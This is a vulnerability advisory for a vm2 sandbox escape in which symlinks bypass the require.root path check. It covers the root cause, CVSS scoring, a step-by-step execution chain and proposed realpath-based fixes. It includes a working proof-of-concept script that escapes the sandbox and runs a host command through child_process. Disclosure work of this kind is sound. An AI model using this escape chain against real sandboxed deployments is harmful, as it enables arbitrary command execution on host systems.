CVE-2026-43998

## Summary NodeVM's `require.root` path restriction can be bypassed using filesystem symlinks, allowing sandboxed code to load modules from outside the allowed root directory in host context. Because path validation uses `path.resolve()` (which does not dereference symlinks) but module loading uses Node's native `require()` (which does), an attacker can load arbitrary host-realm modules and achieve remote code execution. ## Severity **High** (CVSS 3.1: 8.5) `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H` - **Attack Vector:** Network — sandboxed code is typically received from external sources (user-submitted scripts, plugin code) - **Attack Complexity:** High — requires symlinks inside the allowed root that point outside it; common with pnpm, npm workspaces, and npm link but not guaranteed in all deployments - **Privileges Required:** Low — attacker needs only the ability to submit code to the sandbox, which is the intended use case - **User Interaction:** None - **Scope:** Changed — the vulnerability is in the sandbox boundary; impact is on the host system - **Confidentiality Impact:** High — arbitrary file read via host command execution - **Integrity Impact:** High — arbitrary command execution on the host - **Availability Impact:** High — arbitrary command execution on the host ## Affected Component - `lib/resolver-compat.js` — `CustomResolver.isPathAllowed()` (line 53-60) - `lib/resolver-compat.js` — `CustomResolver.loadJS()` (line 62-66) - `lib/filesystem.js` — `DefaultFileSystem.resolve()` (line 8-10) ## CWE - **CWE-59**: Improper Link Resolution Before File Access ## Description ### Root Cause: Check/Use Path Discrepancy The `isPathAllowed` method validates whether a resolved filename falls within the allowed root paths using a string-prefix check: ```js // lib/resolver-compat.js:53-60 isPathAllowed(filename) { return this.rootPaths === undefined || this.rootPaths.some(path => { if (!filename.startsWith(path)) return false; const len = path.length; if (filename.length === len || (len > 0 && this.fs.isSeparator(path[len-1]))) return true; return this.fs.isSeparator(filename[len]); }); } ``` The filename passed to this check is resolved via `DefaultFileSystem.resolve()`, which uses `path.resolve()`: ```js // lib/filesystem.js:8-10 resolve(path) { return pa.resolve(path); } ``` `path.resolve()` normalizes the path (resolves `.`, `..`, and makes it absolute) but does **NOT** dereference symlinks. A symlink at `/root/node_modules/safe` pointing to `/outside/root/malicious` resolves to `/root/node_modules/safe` — passing the prefix check. However, the actual module loading uses Node's native `require()`, which **does** follow symlinks: ```js // lib/resolver-compat.js:62-66 loadJS(vm, mod, filename) { if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(vm, mod, filename); const m = this.hostRequire(filename); mod.exports = vm.readonly(m); } ``` ### No Symlink Defenses Exist A search for `realpath`, `readlink`, `lstat`, or any symlink-aware function across the entire `lib/` directory returns zero results. Neither `DefaultFileSystem` nor `VMFileSystem` provides a realpath method. The root paths themselves are also resolved without dereferencing symlinks: ```js // lib/resolver-compat.js:218 const checkedRootPaths = rootPaths ? (Array.isArray(rootPaths) ? rootPaths : [rootPaths]).map(f => fsOpt.resolve(f)) : undefined; ``` ### Full Execution Chain 1. Host creates `NodeVM` with `require: { external: ['safe'], root: '/tmp/root', context: 'host' }` 2. A symlink exists: `/tmp/root/node_modules/safe` → `/outside/root/vm2/` (e.g., via pnpm, npm link, or workspaces) 3. Sandbox code calls `require('safe')` 4. `DefaultResolver.resolveFull()` resolves to `/tmp/root/node_modules/safe/index.js` 5. `tryFile()` calls `this.fs.resolve(x)` → `path.resolve()` → `/tmp/root/node_modules/safe/index.js` (symlink NOT followed) 6. `isPathAllowed()` checks if path starts with `/tmp/root/` → **PASSES** 7. `loadJS()` detects `context: 'host'`, calls `this.hostRequire(filename)` 8. Node's `require()` follows the symlink, loads from `/outside/root/vm2/index.js` 9. Module executes in host realm; exports proxied to sandbox 10. Sandbox uses loaded module to escalate (e.g., creates a new privileged NodeVM with `child_process`) ## Proof of Concept ```js const path = require('path'); const fs = require('fs'); const os = require('os'); const { NodeVM } = require('vm2'); // Create an "allowed" root directory const root = fs.mkdtempSync(path.join(os.tmpdir(), 'vm2-root-')); fs.mkdirSync(path.join(root, 'node_modules'), { recursive: true }); // Symlink inside root pointing to vm2 package outside root // In real deployments: pnpm, npm link, workspaces create these automatically const link = path.join(root, 'node_modules', 'safe'); fs.symlinkSync(path.resolve(__dirname), link, 'dir'); const vm = new NodeVM({ require: { external: ['safe'], root, context: 'host', builtin: [], // no builtins allowed }, }); // Sandbox code loads vm2 from outside root via symlink, // creates a privileged inner NodeVM to get child_process const out = vm.run(` const { NodeVM } = require('safe'); const inner = new NodeVM({ require: { builtin: ['child_process'] } }); module.exports = inner.run( "module.exports = require('child_process').execSync('id').toString()", 'inner.js' ); `, path.join(root, 'vm.js')); console.log(out.trim()); // prints host uid/gid — RCE achieved ``` ## Impact - **Sandbox escape**: Untrusted sandboxed code can load arbitrary modules from outside the allowed root directory in host context. - **Remote code execution**: By loading vm2 itself (or any module with dangerous capabilities), the attacker can execute arbitrary commands on the host system. - **Bypasses `require.root` entirely**: The root restriction — the primary defense against module loading attacks — provides no protection when symlinks are present. - **Common in production**: pnpm (where ALL `node_modules` are symlinks), npm workspaces, and `npm link` all create the symlink conditions required for exploitation. - **Silent failure**: No error or warning is raised when a symlink traverses outside the root. ## Recommended Remediation ### Option 1: Dereference symlinks with `fs.realpathSync` before path validation (Preferred) Resolve symlinks before checking against root paths, so the validation operates on the actual filesystem location: ```js // lib/filesystem.js — add a realpath method const fs = require('fs'); class DefaultFileSystem { resolve(path) { return pa.resolve(path); } realpath(path) { return fs.realpathSync(path); } // ... rest unchanged } ``` ```js // lib/resolver-compat.js — use realpath in isPathAllowed or before calling it isPathAllowed(filename) { let realFilename; try { realFilename = this.fs.realpath(filename); } catch (e) { return false; // file doesn't exist or can't be resolved } return this.rootPaths === undefined || this.rootPaths.some(path => { if (!realFilename.startsWith(path)) return false; const len = path.length; if (realFilename.length === len || (len > 0 && this.fs.isSeparator(path[len-1]))) return true; return this.fs.isSeparator(realFilename[len]); }); } ``` Also dereference root paths at construction time: ```js // lib/resolver-compat.js:218 const checkedRootPaths = rootPaths ? (Array.isArray(rootPaths) ? rootPaths : [rootPaths]).map(f => { const resolved = fsOpt.resolve(f); try { return fs.realpathSync(resolved); } catch (e) { return resolved; } }) : undefined; ``` **Tradeoff**: `realpathSync` adds a syscall per path check. Cache results to minimize overhead. ### Option 2: Validate the realpath in `makeExtensionHandler` / `checkAccess` Add a realpath check at the enforcement point in `Resolver.makeExtensionHandler`: ```js makeExtensionHandler(vm, name) { return (mod, filename) => { filename = this.fs.resolve(filename); // Dereference symlinks before access check try { const realFilename = fs.realpathSync(filename); if (realFilename !== filename) { // Filename was a symlink — validate the real path too this.checkAccess(mod, realFilename); } } catch (e) { throw new VMError(`Access denied to require '${filename}'`, 'EDENIED'); } this.checkAccess(mod, filename); this[name](vm, mod, filename); }; } ``` **Tradeoff**: Fixes it at a higher layer but doesn't protect custom resolvers that bypass `makeExtensionHandler`. ## Credit This vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).